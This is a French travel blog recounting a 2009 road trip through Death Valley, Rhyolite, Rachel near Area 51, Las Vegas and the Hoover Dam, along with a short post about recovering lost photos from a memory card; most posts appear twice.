En gros, virez les partitions de votre disque dur, réinstallez Windows, revirez les partitions réinstallez Windows, et GetDataBack trouvera vos 2 partitions précédentes. Après, l'état des fichiers dépend de si vous avez réécrit par dessus ou non... Dans ce cas... bye bye les données.
Dans mon cas, c'était juste un problème dont je ne connais pas la cause... Car en plus ma carte, après un test, ne semble pas défectueuse... Défaillance passagère (j'espère).
En tout cas, j'ai toutes mes photos, et elles seront bientot dans ma galerie.
En fait après les SGES... Ben ouais! J'ai plus de place sur mon disque dur maintenant que j'ai refait un multiboot avec Vista.
Vu que j'ai Server 2008 sur mon portable, le logiciel SGES risque de pas se lancer... J'ai donc été obligé de sacrifier mes photos (qui sont sur le PC de Toni), de repartitionner mon disque (Paragon Partition Manager 9.0, disque de boot), et de réinstaller Vista.
Tout ca pour des exams...
'fin bref... Vivement vendredi midi que les exams soient terminés!
mercredi 25 février 2009
Road Trip - Epilogue
Bon et bien voilà... Mon Road Trip est terminé.
Je me suis bien éclaté et je regrète pas du tout les miles parcourues, ni les $$$ dépensés... Pas tant que ce finalement car je crois que j'ai pas dépassé les 180$.
J'ai vu des choses que je suis pas prêt d'oublier. Ca vaut le coup de payer un billet d'avion rien que pour ca... C'est quelque chose qu'on peut pas faire en Europe.
Il y a quelques ombres sur mon tableau, cependant. Ce sont pas forcément des points négatifs...
Disons que maintenant, je comprend mieux certaines choses.
La première chose qui m'a appris ce voyage et surtout sa préparation, c'est qu'on peut pas se fier à personne, surtout quand ce sont des personnes venant de France!
Je n'ai pas fait le Grand Canyon en particulier à cause de ca. Ca m'aurait couté autant pour 3 jours de plus que pour les 6 jours précédents, en étant tout seul.
Ensuite... Et ca, c'est un point négatif! La carte mémoire de mon appareil photo a planté! J'ai perdu mes photos de Las Vegas de nuit (Fremont Street Experience), et du Hoover Dam!
Mais en gros le bilan est positif!
C'était vraiment bien.
Vivement le printemps que je puisse faire le Yosemite Park!
Je me suis bien éclaté et je regrète pas du tout les miles parcourues, ni les $$$ dépensés... Pas tant que ce finalement car je crois que j'ai pas dépassé les 180$.
J'ai vu des choses que je suis pas prêt d'oublier. Ca vaut le coup de payer un billet d'avion rien que pour ca... C'est quelque chose qu'on peut pas faire en Europe.
Il y a quelques ombres sur mon tableau, cependant. Ce sont pas forcément des points négatifs...
Disons que maintenant, je comprend mieux certaines choses.
La première chose qui m'a appris ce voyage et surtout sa préparation, c'est qu'on peut pas se fier à personne, surtout quand ce sont des personnes venant de France!
Je n'ai pas fait le Grand Canyon en particulier à cause de ca. Ca m'aurait couté autant pour 3 jours de plus que pour les 6 jours précédents, en étant tout seul.
Ensuite... Et ca, c'est un point négatif! La carte mémoire de mon appareil photo a planté! J'ai perdu mes photos de Las Vegas de nuit (Fremont Street Experience), et du Hoover Dam!
Mais en gros le bilan est positif!
C'était vraiment bien.
Vivement le printemps que je puisse faire le Yosemite Park!
Road Trip - Jour 6
Levé à 9h du matin... Je me suis presque endormis sous la douche...
Je voulais partir de Las Vegas à 10h, en fin de compte je suis parti à 11h...
D'après Google Maps, 9h de route pour 579 miles.
Selon mon GPS, 10h de route pour 600 miles...
Google Maps m'a déjà montré ses limites. Il est très bien pour les directions mais pas pour les durées... Ni pour les les horaires de bus! Je me suis donc basé sur mon GPS.
Je me suis juste arrêté à Barstow pour manger un Double Whooper chez Burger King.
Un plein à Bakerfield également.
Arrivée à San Francisco dans le garage du building à 20h20. Donc 9h20 de route.
J'ai bien roulé ^^.
D'après mon compteur, j'ai fait 1793.8 miles au total!
Soit 2886 km!
Ca en fait de la route!
Le temps de prendre une douche, de manger un peu, et au lit!
Je voulais partir de Las Vegas à 10h, en fin de compte je suis parti à 11h...
D'après Google Maps, 9h de route pour 579 miles.
Selon mon GPS, 10h de route pour 600 miles...
Google Maps m'a déjà montré ses limites. Il est très bien pour les directions mais pas pour les durées... Ni pour les les horaires de bus! Je me suis donc basé sur mon GPS.
Je me suis juste arrêté à Barstow pour manger un Double Whooper chez Burger King.
Un plein à Bakerfield également.
Arrivée à San Francisco dans le garage du building à 20h20. Donc 9h20 de route.
J'ai bien roulé ^^.
D'après mon compteur, j'ai fait 1793.8 miles au total!
Soit 2886 km!
Ca en fait de la route!
Le temps de prendre une douche, de manger un peu, et au lit!
Road Trip - Jour 5
Aujourd'hui, c'est le Hoover Dam, le barage sur la Colorado River.
Il alimente la ville de Las Vegas en électricité.
Il n'est pas très loin de la ville. La rivière Colorado sert de frontière naturelle entre le Nevada et l'Arizona.
En traversant le barage, rajoutez une heure à votre montre! Et oui, l'Arizona n'est pas dans le même fuseau horaire que le Nevada.
Le barage est à voir.
98 personnes sont mortes lors de sa construction. Plus un chien, mascotte des ouvriers qui travaillaient là. La pauvre bete s'est faite écrasée par un tracteur... Sa tombe se trouve sur la rive droite, non loin des monuments construits en l'honeur des 98 hommes qui ont donnés leur vie pour construire ce barage.
De retour à Las Vegas. Repas rapide. On est allé jouer quelques dollars qu'on a bien sur perdus... Dommage car une belle Corvette et une BMW étaient en jeu. De toute facon on serait pas repartis ave car il faut avoir 21 ans pour jouer!
Quelques photos de Las Vegas de nuit puis direction l'aéroport. Tony avait prévu d'écourter le voyage en prenant un avion. Cependant, n'étant plus que 2, on devait de toute facon écourter.
Son billet étant déjà pris et ne pouvant pas être annulé, il devrait le prendre.
J'ai donc repassé une nuit au Motel 6, seul cette fois.
Il alimente la ville de Las Vegas en électricité.
Il n'est pas très loin de la ville. La rivière Colorado sert de frontière naturelle entre le Nevada et l'Arizona.
En traversant le barage, rajoutez une heure à votre montre! Et oui, l'Arizona n'est pas dans le même fuseau horaire que le Nevada.
Le barage est à voir.
98 personnes sont mortes lors de sa construction. Plus un chien, mascotte des ouvriers qui travaillaient là. La pauvre bete s'est faite écrasée par un tracteur... Sa tombe se trouve sur la rive droite, non loin des monuments construits en l'honeur des 98 hommes qui ont donnés leur vie pour construire ce barage.
De retour à Las Vegas. Repas rapide. On est allé jouer quelques dollars qu'on a bien sur perdus... Dommage car une belle Corvette et une BMW étaient en jeu. De toute facon on serait pas repartis ave car il faut avoir 21 ans pour jouer!
Quelques photos de Las Vegas de nuit puis direction l'aéroport. Tony avait prévu d'écourter le voyage en prenant un avion. Cependant, n'étant plus que 2, on devait de toute facon écourter.
Son billet étant déjà pris et ne pouvant pas être annulé, il devrait le prendre.
J'ai donc repassé une nuit au Motel 6, seul cette fois.
Road Trip - Jour 4
Levés vers 9h, on est repartis à la recherche d'un autre motel...
Motel 6! Peut être plus cher, mais au moins, valeur sure.
On a pris la chambre vers 10h du matin et on est sortis dans Las Vegas.
On a pas mal marché... En fait on a fait que ca!
Las Vegas est une ville sympa, mais faut la voir de nuit... Elle dort le jour et vit la nuit.
Fremont Street est pas mal. On a mangé au McDonald de l'hotel Plaza. Des casinos partout! C'est spécial!
Las Vegas Boulevard est à faire. C'est là que se trouvent tous les hotels, casinos, animations, etc... C'est un axe perpendiculaire à Fremont, mais toutes ses animations sont de l'autre côté de la ville. Comptez bien 4 miles à faire avant de tomber sur l'hotel Sahara. Les décors sont impressionant. Tout est fait pour que le client s'imagine dans l'endroit que représente l'hotel.
C'est marquant surtout à Venise et Paris.
A Venise, on peut faire un tour en gondole et se balader dans les rues de venises. Un faux plafond donne l'impression d'une lumière tamisée, comme si c'était le soir à Venise. Tout le centre commercial utilise ce faux plafond. Les vitrines représentent les rues de Venise.
C'est la même chose pour Paris. La tour Eiffel est bien là, avec à ses pieds l'Accadémie de Musique, l'entrée de ce qui pourrait être la Garre du Nord. Une fois dans la garre, ce sont les rues de Paris qui sont devant vous, avec également un faux plafond représentant un ciel bleu.
Je ne m'en suis pas appercu dessuite mais entre chaque rues il y a comme des abrits... Genre quais de garre. Et sous ces abrits, des tables de Poker, Blackjack, etc.
Dehors, il y a l'hotel Belagio... A faire, obligatoirement!
Tous les jours, entre midi et minuit, toutes les demi heures jusqu'à 20h et toutes les heures après, l'hotel sort le grand jeu avec un spectacle gratuit de jets d'eau, dehors, le tout sur u fond musical.
Ce mélange de jets d'eau, de lumières, et de son, est impressionant! Ca en jette!
A voir de nuit de préférence!
Continuez et vous verrez New York. La Statue de la Liberté, l'Epire State Building... Ils sont là!
Encore plus loin, c'est l'Egypte. Une pyramide noire, le Sphinx...
La pyramide est sympa a voir de nuit également. Un faisceau lumineux monte de sa pointe vers le ciel.
Maitenant, retournez-vous... Il fait nuit. Las Vegas se réveille enfin. Tout clignotte, tout brille... On y voit comme en plein jour!
Prenez le bus vers Fremon Street. Un écran géant recouvre la rue pietonne. A intervalles réguliers, il s'allume... Et c'est 555'000 Watts de sons! Plus de 70 millions de dollars de lumière!
Avec ses 1500 pieds (457 mètres!) de long, c'est l'écran le plus long du monde d'après Las Vegas.
12,5 millions de Leds! Capable d'afficher 16,7 millions de couleurs!
Le show de cette année, c'est "American Pie" la musique de Don McLean! Le plus impressionant, c'est la fusée qui traverse l'écran de part en part! Le bruit!
WOW! Rien d'autre à dire...
Journée bien pleine. Au lit!
Motel 6! Peut être plus cher, mais au moins, valeur sure.
On a pris la chambre vers 10h du matin et on est sortis dans Las Vegas.
On a pas mal marché... En fait on a fait que ca!
Las Vegas est une ville sympa, mais faut la voir de nuit... Elle dort le jour et vit la nuit.
Fremont Street est pas mal. On a mangé au McDonald de l'hotel Plaza. Des casinos partout! C'est spécial!
Las Vegas Boulevard est à faire. C'est là que se trouvent tous les hotels, casinos, animations, etc... C'est un axe perpendiculaire à Fremont, mais toutes ses animations sont de l'autre côté de la ville. Comptez bien 4 miles à faire avant de tomber sur l'hotel Sahara. Les décors sont impressionant. Tout est fait pour que le client s'imagine dans l'endroit que représente l'hotel.
C'est marquant surtout à Venise et Paris.
A Venise, on peut faire un tour en gondole et se balader dans les rues de venises. Un faux plafond donne l'impression d'une lumière tamisée, comme si c'était le soir à Venise. Tout le centre commercial utilise ce faux plafond. Les vitrines représentent les rues de Venise.
C'est la même chose pour Paris. La tour Eiffel est bien là, avec à ses pieds l'Accadémie de Musique, l'entrée de ce qui pourrait être la Garre du Nord. Une fois dans la garre, ce sont les rues de Paris qui sont devant vous, avec également un faux plafond représentant un ciel bleu.
Je ne m'en suis pas appercu dessuite mais entre chaque rues il y a comme des abrits... Genre quais de garre. Et sous ces abrits, des tables de Poker, Blackjack, etc.
Dehors, il y a l'hotel Belagio... A faire, obligatoirement!
Tous les jours, entre midi et minuit, toutes les demi heures jusqu'à 20h et toutes les heures après, l'hotel sort le grand jeu avec un spectacle gratuit de jets d'eau, dehors, le tout sur u fond musical.
Ce mélange de jets d'eau, de lumières, et de son, est impressionant! Ca en jette!
A voir de nuit de préférence!
Continuez et vous verrez New York. La Statue de la Liberté, l'Epire State Building... Ils sont là!
Encore plus loin, c'est l'Egypte. Une pyramide noire, le Sphinx...
La pyramide est sympa a voir de nuit également. Un faisceau lumineux monte de sa pointe vers le ciel.
Maitenant, retournez-vous... Il fait nuit. Las Vegas se réveille enfin. Tout clignotte, tout brille... On y voit comme en plein jour!
Prenez le bus vers Fremon Street. Un écran géant recouvre la rue pietonne. A intervalles réguliers, il s'allume... Et c'est 555'000 Watts de sons! Plus de 70 millions de dollars de lumière!
Avec ses 1500 pieds (457 mètres!) de long, c'est l'écran le plus long du monde d'après Las Vegas.
12,5 millions de Leds! Capable d'afficher 16,7 millions de couleurs!
Le show de cette année, c'est "American Pie" la musique de Don McLean! Le plus impressionant, c'est la fusée qui traverse l'écran de part en part! Le bruit!
WOW! Rien d'autre à dire...
Journée bien pleine. Au lit!
Road Trip - Jour 3
Au programme aujourd'hui, la petite ville de Rachel et la Zone 51!
La route vers Rachel semblant mois longue que les deux jours précédents, on est restés au lit plus longtemps. Départ officiel à 9h30 il me semble.
Depuis Tonopah, on a pris la Route 6 jusqu'à Warm Spring.
De là, on a pris l'autoroute 375, surnomée la "Autoroute des Extraterrestres". C'est la route que prennent les militaires qui se rendent à la base Nelis.
D'après le GPS, la zone militaire se trouve juste à droite. Mais la grille n'est pas visible depuis la route principale. Pas ici.
On continue jusqu'à Rachel. Ce petit village n'existe encore que grace à sa notoriété. Connu pour être la ville où on a le plus de chance de voir des petits bonhommes verts.
Son motel "Ale'Inn Motel" vaut le coup d'oeil!
Ah oui! Les panneaux sur la route! "Low flying aircraft"... "Aéronefs volant bas"... On en a pas vu (sauf la veille où deux avions militaires se sont engouffrés dans la Death Valley).
Au motel, on demande un café et on se renseigne un peu. On sait que la base est visible depuis une montagne dont l'accès, difficile, certes, est autorisé. On demande donc comment monter là-haut.
"Sorry but the base increased the restricted area so the montain you're talking about is not reachable anymore"... Fuck! On peut plus monter! Sa prouve cependant que, pour une base militaire abandonné selon certains... Il y a une certaine activité!
"But you can reach the entry point". Ben en voilà une bonne nouvelle! On peut accéder à la barrière de sécurité et à un point d'accès! Nickel!
"Go back to the highway, take the 2nd rightat about 1 mile, keep straight for 8-9 miles".
Alors... On retourne sur l'autoroute, on prend la 2de à droite à environ 1 mile, et on continue tout droit sur 8-9 miles... Un chemin pour 4x4...
Tout ça pour accéder à un poste de contrôle avec une barrière, mais personne dans la cabane. On sent bien le fait qu'ils sont habitués à voir des touristes ici au point de ne laisser que 2-3 caméras de surveillance et de ne mettre personne au poste de contrôle.
La barrière est fermée (of course) et les panneaux "Military base" "No trespassing" "No camera" "The use of deadly weapons is allowed" sont bien là!
On retourne sur l'autoroute. Un petit chemin est visible sur le GPS et semble se rapprocher de la zone. En fait 2 sont visibles. Le premier semble s'arrêter avant, le 2ème semble ammer plus loin.
On revient donc sur nos pas, 25 miles en arrière environ. Le chemin part sur la gauche.
Petit chemin de terre, pour 4x4.
De la neige, de la boue... A un moment on se rend compte que, continuer, c'est s'embourber. En moyenne, 2 véhicules par jour prennent l'autoroute 375. On en est déjà loin, et on est pas visibles depuis l'autoroute. Les portables passent pas. Si on reste coincés, notre seule chance, c'est d'attendre qu'un convoit militaire passe!
En plus, on le GPS nous indique qu'on est plus sur la chemin qui lui part vers la droite... Ben oui mais y a rien à droite! On est bien sur le chemin.
Et puis à gauche... Du goudron! Ouf! Une vraie route!
Ben oui mais... Y a 10 mètres a faire dans la boue et la neige... C'est risqué! Mettre les chaines? Bof... Dans la boue c'est pas très utile! Faudrait des chenilles... Et encore! lol!
Bon allez, on prend le risque. Un peu de recul, on lance bien la voiture, vitesse constante, pas de coups de frein, pas d'acélérations brusques... Ben super! On a traversé! On est sur le goudron.
On continue vers la base. Toujours rien en vue. Puis soudain... Un autre poste de contrôle. Cette fois-ci, il y a quelqu'un! Un militaire sort de sa cabane et ouvre la grille. On est loin, on ne peut que le distiguer.
Pourquoi il ouvre?
Il attend quelqu'un en particulier?
Ou alors, il veut nous faire comprendre que si on s'approche trop, une patrouille serait prête à sortir...
Quelques photos, et hop, demi-tour!
Le militaire referme la grille...
On reste sur la route goudronnée... Elle est en mauvais état mais au moins, on peut rouler!
En fin de compte, on retombe directement sur l'autoroute!
L'embranchement est bien visible sur le GPS... Le nom de la route en question est ... Je sais plus! Mince! En tout cas, c'est juste après le panneau "Rachel - 22 miles". Il y a même un panneau indiquant le nom de cette route!
Juste avant le virage a gauche montant dans la dernière coline avant Rachel!
Bref... Si vous voulez vous approcher de la base, prenez cette route, elle y mêne. On voit bien qu'elle est utilisée!
Retour à Rachel. Plus de place dans le petit motel. Tant pis... Ca nous met un sacré coup!
Dormir dans la voiture? Ben ouais... Mais la neige, le froid... Faut pas tenter le diable non plus!
On reprend la route.
La nuit est tombée très vite. A conduire de nuit, autant aller jusqu'à Las Vegas.
On a dépassé les 1000 miles au compteur après Alamo, petit village où on a refait le plein, 65 miles après Rachel.
Arrivé à Las Vegas on a cherché un motel proche du centre ville, et pas trop cher.
On en a trouvé un... Dernière chambre dispo pour près de 45$ à deux, dans un seul grand lit...
Etant fatigués on a pas trop cherché plus loin et on a pris la chambre en réservant 2 nuits pour un total de 80$ les deux nuits.
Des mecs un peu louches dans le parking. On vide toute la voiture au cas ou et on rentre dans la chambre.
Là, le choc! C'est pas que c'était limite... Ca dépassait la limite! Salle... Ca empestait la clope... On a dormit pour la 1ere fois dans nos couvertures! Enroulés dedans, pour par dormir sur les draps! La porte des toilettes fermaient pas... Bref!
A tel point qu'on est redecendu pour négocier à ce qu'on nous rende notre argent pour la nuit d'après!
On est allé au lit... Pour être dérangés à minuit par une courge qui pouvait plus rentrer dans sa chambre... Celle d'à côté, bien sur!
Son copain voulait plus la laisser rentrer. Elle a tapé a sa porte pendant 30 minutes...
On entendait les voisins lui gueuler dessus...
Un mec a même hurlé qu'il sortirait son "gun" si elle se calmait pas.
Les flics ont débarqués et elle est rentré dans sa chabre... 1h du mat.
Ben oui mais ca s'est pas terminé là...
Le copain l'a engueulé pendant presque 1/2 heure!
Génial la nuit!
La route vers Rachel semblant mois longue que les deux jours précédents, on est restés au lit plus longtemps. Départ officiel à 9h30 il me semble.
Depuis Tonopah, on a pris la Route 6 jusqu'à Warm Spring.
De là, on a pris l'autoroute 375, surnomée la "Autoroute des Extraterrestres". C'est la route que prennent les militaires qui se rendent à la base Nelis.
D'après le GPS, la zone militaire se trouve juste à droite. Mais la grille n'est pas visible depuis la route principale. Pas ici.
On continue jusqu'à Rachel. Ce petit village n'existe encore que grace à sa notoriété. Connu pour être la ville où on a le plus de chance de voir des petits bonhommes verts.
Son motel "Ale'Inn Motel" vaut le coup d'oeil!
Ah oui! Les panneaux sur la route! "Low flying aircraft"... "Aéronefs volant bas"... On en a pas vu (sauf la veille où deux avions militaires se sont engouffrés dans la Death Valley).
Au motel, on demande un café et on se renseigne un peu. On sait que la base est visible depuis une montagne dont l'accès, difficile, certes, est autorisé. On demande donc comment monter là-haut.
"Sorry but the base increased the restricted area so the montain you're talking about is not reachable anymore"... Fuck! On peut plus monter! Sa prouve cependant que, pour une base militaire abandonné selon certains... Il y a une certaine activité!
"But you can reach the entry point". Ben en voilà une bonne nouvelle! On peut accéder à la barrière de sécurité et à un point d'accès! Nickel!
"Go back to the highway, take the 2nd rightat about 1 mile, keep straight for 8-9 miles".
Alors... On retourne sur l'autoroute, on prend la 2de à droite à environ 1 mile, et on continue tout droit sur 8-9 miles... Un chemin pour 4x4...
Tout ça pour accéder à un poste de contrôle avec une barrière, mais personne dans la cabane. On sent bien le fait qu'ils sont habitués à voir des touristes ici au point de ne laisser que 2-3 caméras de surveillance et de ne mettre personne au poste de contrôle.
La barrière est fermée (of course) et les panneaux "Military base" "No trespassing" "No camera" "The use of deadly weapons is allowed" sont bien là!
On retourne sur l'autoroute. Un petit chemin est visible sur le GPS et semble se rapprocher de la zone. En fait 2 sont visibles. Le premier semble s'arrêter avant, le 2ème semble ammer plus loin.
On revient donc sur nos pas, 25 miles en arrière environ. Le chemin part sur la gauche.
Petit chemin de terre, pour 4x4.
De la neige, de la boue... A un moment on se rend compte que, continuer, c'est s'embourber. En moyenne, 2 véhicules par jour prennent l'autoroute 375. On en est déjà loin, et on est pas visibles depuis l'autoroute. Les portables passent pas. Si on reste coincés, notre seule chance, c'est d'attendre qu'un convoit militaire passe!
En plus, on le GPS nous indique qu'on est plus sur la chemin qui lui part vers la droite... Ben oui mais y a rien à droite! On est bien sur le chemin.
Et puis à gauche... Du goudron! Ouf! Une vraie route!
Ben oui mais... Y a 10 mètres a faire dans la boue et la neige... C'est risqué! Mettre les chaines? Bof... Dans la boue c'est pas très utile! Faudrait des chenilles... Et encore! lol!
Bon allez, on prend le risque. Un peu de recul, on lance bien la voiture, vitesse constante, pas de coups de frein, pas d'acélérations brusques... Ben super! On a traversé! On est sur le goudron.
On continue vers la base. Toujours rien en vue. Puis soudain... Un autre poste de contrôle. Cette fois-ci, il y a quelqu'un! Un militaire sort de sa cabane et ouvre la grille. On est loin, on ne peut que le distiguer.
Pourquoi il ouvre?
Il attend quelqu'un en particulier?
Ou alors, il veut nous faire comprendre que si on s'approche trop, une patrouille serait prête à sortir...
Quelques photos, et hop, demi-tour!
Le militaire referme la grille...
On reste sur la route goudronnée... Elle est en mauvais état mais au moins, on peut rouler!
En fin de compte, on retombe directement sur l'autoroute!
L'embranchement est bien visible sur le GPS... Le nom de la route en question est ... Je sais plus! Mince! En tout cas, c'est juste après le panneau "Rachel - 22 miles". Il y a même un panneau indiquant le nom de cette route!
Juste avant le virage a gauche montant dans la dernière coline avant Rachel!
Bref... Si vous voulez vous approcher de la base, prenez cette route, elle y mêne. On voit bien qu'elle est utilisée!
Retour à Rachel. Plus de place dans le petit motel. Tant pis... Ca nous met un sacré coup!
Dormir dans la voiture? Ben ouais... Mais la neige, le froid... Faut pas tenter le diable non plus!
On reprend la route.
La nuit est tombée très vite. A conduire de nuit, autant aller jusqu'à Las Vegas.
On a dépassé les 1000 miles au compteur après Alamo, petit village où on a refait le plein, 65 miles après Rachel.
Arrivé à Las Vegas on a cherché un motel proche du centre ville, et pas trop cher.
On en a trouvé un... Dernière chambre dispo pour près de 45$ à deux, dans un seul grand lit...
Etant fatigués on a pas trop cherché plus loin et on a pris la chambre en réservant 2 nuits pour un total de 80$ les deux nuits.
Des mecs un peu louches dans le parking. On vide toute la voiture au cas ou et on rentre dans la chambre.
Là, le choc! C'est pas que c'était limite... Ca dépassait la limite! Salle... Ca empestait la clope... On a dormit pour la 1ere fois dans nos couvertures! Enroulés dedans, pour par dormir sur les draps! La porte des toilettes fermaient pas... Bref!
A tel point qu'on est redecendu pour négocier à ce qu'on nous rende notre argent pour la nuit d'après!
On est allé au lit... Pour être dérangés à minuit par une courge qui pouvait plus rentrer dans sa chambre... Celle d'à côté, bien sur!
Son copain voulait plus la laisser rentrer. Elle a tapé a sa porte pendant 30 minutes...
On entendait les voisins lui gueuler dessus...
Un mec a même hurlé qu'il sortirait son "gun" si elle se calmait pas.
Les flics ont débarqués et elle est rentré dans sa chabre... 1h du mat.
Ben oui mais ca s'est pas terminé là...
Le copain l'a engueulé pendant presque 1/2 heure!
Génial la nuit!
Road Trip - Jour 2
Bon je triche un peu... En réalité je suis déjà rentré à San Francisco... Mais comme j'avais pas le Net ces derniers jours j'ai pas mis mon blog a jour pendant le voyage.
Ce 2ème jour de trajet, nous avons traversé la Death Valley. Elle porte bien son nom... Vallée de la Mort. A part du sable, de la roche, du sel, du borax... Rien d'autre.
Je ne sais plus vers quelle heure on a quitté Lone Pine... Vers 9h il me semble. Bah oui! La pharmacie était encore fermée... Mal à la gorge, tu devras attendre.
On est redescendu quelques miles sur la US-395 pour prendre la 136 East. J'ai laissé le volant à Tony à partir de là. Ayant perdu son permis de conduire, il vallait mieux pas se faire chopper en ville. Dans le désert par contre c'est moins génant, y a personne!
La route 136 rejoint ensuite la 190. C'est cette route 190 qui traverse la Death Valley.
Avant même de rentrer dans la vallée, on était impressionés (une fois de plus) par le paysage et cette impression qu'on avait...
Rouler sur une route, au milieu d'une plaine énorme, presque démesurée, entourée de montagnes couvertes de neige, alors qu'on était en T-shirt dans la plaine.
C'est une image du désert qu'on avait pas, on s'attendait pas à ca. Pas au fait d'etre entourés de neige.
La route 190 monte dans les montagnes, justement. On arrive ensuite à un point de vue sur la Deat Valley. C'était énorme!
Un petit chemin pour 4x4 partait le long de la falaise jusqu'à un autre point de vue, encore plus près de la Vallée. Autant essayer d'y aller!
Nous voilà donc lancés dans ce chemin, avec une pauvre petite Neon coupée... Mais ca va, elle a bien encaissé ^^.
Quelques photos de la Vallée, et nous voila repartis.
C'est marrant car on était les seuls à s'aventurer sur ce chemin. Mais quand ceux qui étaient derrière nous on vu qu'on avait réussi à passer, ils nous ont rejoint...
La descente dans la Death Valley et sympa aussi. Ca change des routes toutes droites... Enfin des virages!
Une fois en bas, la chaleur se fait vraiment ressentir... Un panneau "To avoir overheat, switch off AC", "Pour éviter les surchauffe, couper la climatisation".
"Next water point - 20 miles", "Prochain point d'eau, 20 miles".
On s'arrête au poste de contrôle pour payer le droit d'entrée dans la Vallée (qui est un parc national). 20$ l'entrée par véhicule, ou 80$ par véhicule par an pour tous les parcs. On a préféré la première option.
Au bout de quelques miles, on a vu des dunes de sable. On s'est arrêtés pour manger un morceau sur les dunes. "Attention, serpents à sonettes"... Mouais... On en a pas vu... Heureusement. Ou pas! Ca aurait été bien d'en voir un (de loin).
La vallée est pleine de petits points à visiter. Un vieux centre de rafinage de borax par exemple. Le borax se retrouve à la surface de la vallée qui était avant un lac. Les sels minéraux se sont, avec l'évaporation de l'eau, déposés sur le fond.
Aujourd'hui, ces minéraux sont visibles. Parmis eux on trouve du sel et du borax. Les animaux et les plantes se sont adaptés à cet environnement salé. Certaines plantes stockent le sel dans des bousouflures qui, une fois pleines, meurent et tombent. D'autres apparaissent et le cycle recommence.
Le borax est utilisé dans de nombreux domaines. Il sert de retardant pour le feu, permet de traiter les bois de construction contre les insectes et champignons. Il désinfecte et peut etre utilisé comme désinfectant non chloré dans la maison (appliquer pur dans les toilettes et laisser agir, ou diluer a l'eau chaude, etc...). Sa température de fusion est de 75°C et permet d'abaisser la température de fusion des autres matériaux. Il est donc utilisé lors de la fonte du verre, etc. Chauffé, il forme une matière cristaline. Il se trouve dans la nature sous forme de poudre blanche ou de cristaux.
La Califorine assure près de 50% de la production mondiale de borax. Mais la Death Valley n'est plus utilisée comme site de production.
Le site de Badwater, plus au sud dans la vallée, montre le borax sous forme de cristaux. On peut marcher dessus. C'est tellement blanc qu'on dirait de la neige! Ce site est situé à 85m en dessous du niveau de la mer.
La Death Valley est le point le plus bas des USA.
On est ensuite remontés par le Nord sans passer par Beatty (Nevada). On voulait visiter Rhyolite avant la tombée de la nuit.
Rhyolite est une ville fantome du Nevada.
Les premières personnes à s'y installer furent les chercheurs d'or, en 1904. En 1907, la ville avait l'électricité, l'eau courante, le téléphone, une école et un hopital. Selon certaines sources, près de 10'000 personnes vivaient dans cette ville.
Seulement, en 1910, la mine d'or principale marchait "à perte". En 1911, elle fut fermée. La ville fut alors délaissée. 1000 personnes seulement vivaient là en 1911.
9 ans plus tard, en 1920, Il n'y avait plus personne. L'école a été démontée, tout a été récupéré et utilisé dans les villes voisines.
Aujourd'hui, il ne reste plus que la gare, les fondations de l'école, de la banque, de deux magasins. Une maison construite en bouteilles de bierre est encore là, à coté d'un magasin lui aussi intact.
La mine d'or est encore visible. Elle a extrait plus de 1 million de dolars de métaux précieux pendant ses 3 premières années d'exploitation. Mais au bout de ces 3 ans, sa valeur est tombée à 23$, puis à 3$! Après une expertise de la mine par un ingénieur (expertise qui fut négative), la valeur de la mine a brutalement chuté... à 75 cents! En 1911 sa valeur était de 4 cents!
On a laissé Rhyolite derrière nous pour rejoindre Tonopah, une petite ville dans les montagnes. La route s'est faite de nuit.
Arrivée à Tonopah. Il y avait de la neige sur le bord de la route. On a trouvé un motel pas très cher. 22$ la nuit par personne! A ce prix là, autant dormir au chaud.
J'ai vu un centre médical... Je me suis pas fait prier. Les oreilles qui bourdonne, un mal de gorge qui ne fait qu'augmenter, c'est pas bon signe surtout en plein désert.
Le docteur m'a prescrit des antibiotiques... Une elle angine. Les pauvres sirops de Safeway faisaient pas le poid.
Pas d'accès Internet au motel... Tant pis... A 22h30, on dormait.
Ce 2ème jour de trajet, nous avons traversé la Death Valley. Elle porte bien son nom... Vallée de la Mort. A part du sable, de la roche, du sel, du borax... Rien d'autre.
Je ne sais plus vers quelle heure on a quitté Lone Pine... Vers 9h il me semble. Bah oui! La pharmacie était encore fermée... Mal à la gorge, tu devras attendre.
On est redescendu quelques miles sur la US-395 pour prendre la 136 East. J'ai laissé le volant à Tony à partir de là. Ayant perdu son permis de conduire, il vallait mieux pas se faire chopper en ville. Dans le désert par contre c'est moins génant, y a personne!
La route 136 rejoint ensuite la 190. C'est cette route 190 qui traverse la Death Valley.
Avant même de rentrer dans la vallée, on était impressionés (une fois de plus) par le paysage et cette impression qu'on avait...
Rouler sur une route, au milieu d'une plaine énorme, presque démesurée, entourée de montagnes couvertes de neige, alors qu'on était en T-shirt dans la plaine.
C'est une image du désert qu'on avait pas, on s'attendait pas à ca. Pas au fait d'etre entourés de neige.
La route 190 monte dans les montagnes, justement. On arrive ensuite à un point de vue sur la Deat Valley. C'était énorme!
Un petit chemin pour 4x4 partait le long de la falaise jusqu'à un autre point de vue, encore plus près de la Vallée. Autant essayer d'y aller!
Nous voilà donc lancés dans ce chemin, avec une pauvre petite Neon coupée... Mais ca va, elle a bien encaissé ^^.
Quelques photos de la Vallée, et nous voila repartis.
C'est marrant car on était les seuls à s'aventurer sur ce chemin. Mais quand ceux qui étaient derrière nous on vu qu'on avait réussi à passer, ils nous ont rejoint...
La descente dans la Death Valley et sympa aussi. Ca change des routes toutes droites... Enfin des virages!
Une fois en bas, la chaleur se fait vraiment ressentir... Un panneau "To avoir overheat, switch off AC", "Pour éviter les surchauffe, couper la climatisation".
"Next water point - 20 miles", "Prochain point d'eau, 20 miles".
On s'arrête au poste de contrôle pour payer le droit d'entrée dans la Vallée (qui est un parc national). 20$ l'entrée par véhicule, ou 80$ par véhicule par an pour tous les parcs. On a préféré la première option.
Au bout de quelques miles, on a vu des dunes de sable. On s'est arrêtés pour manger un morceau sur les dunes. "Attention, serpents à sonettes"... Mouais... On en a pas vu... Heureusement. Ou pas! Ca aurait été bien d'en voir un (de loin).
La vallée est pleine de petits points à visiter. Un vieux centre de rafinage de borax par exemple. Le borax se retrouve à la surface de la vallée qui était avant un lac. Les sels minéraux se sont, avec l'évaporation de l'eau, déposés sur le fond.
Aujourd'hui, ces minéraux sont visibles. Parmis eux on trouve du sel et du borax. Les animaux et les plantes se sont adaptés à cet environnement salé. Certaines plantes stockent le sel dans des bousouflures qui, une fois pleines, meurent et tombent. D'autres apparaissent et le cycle recommence.
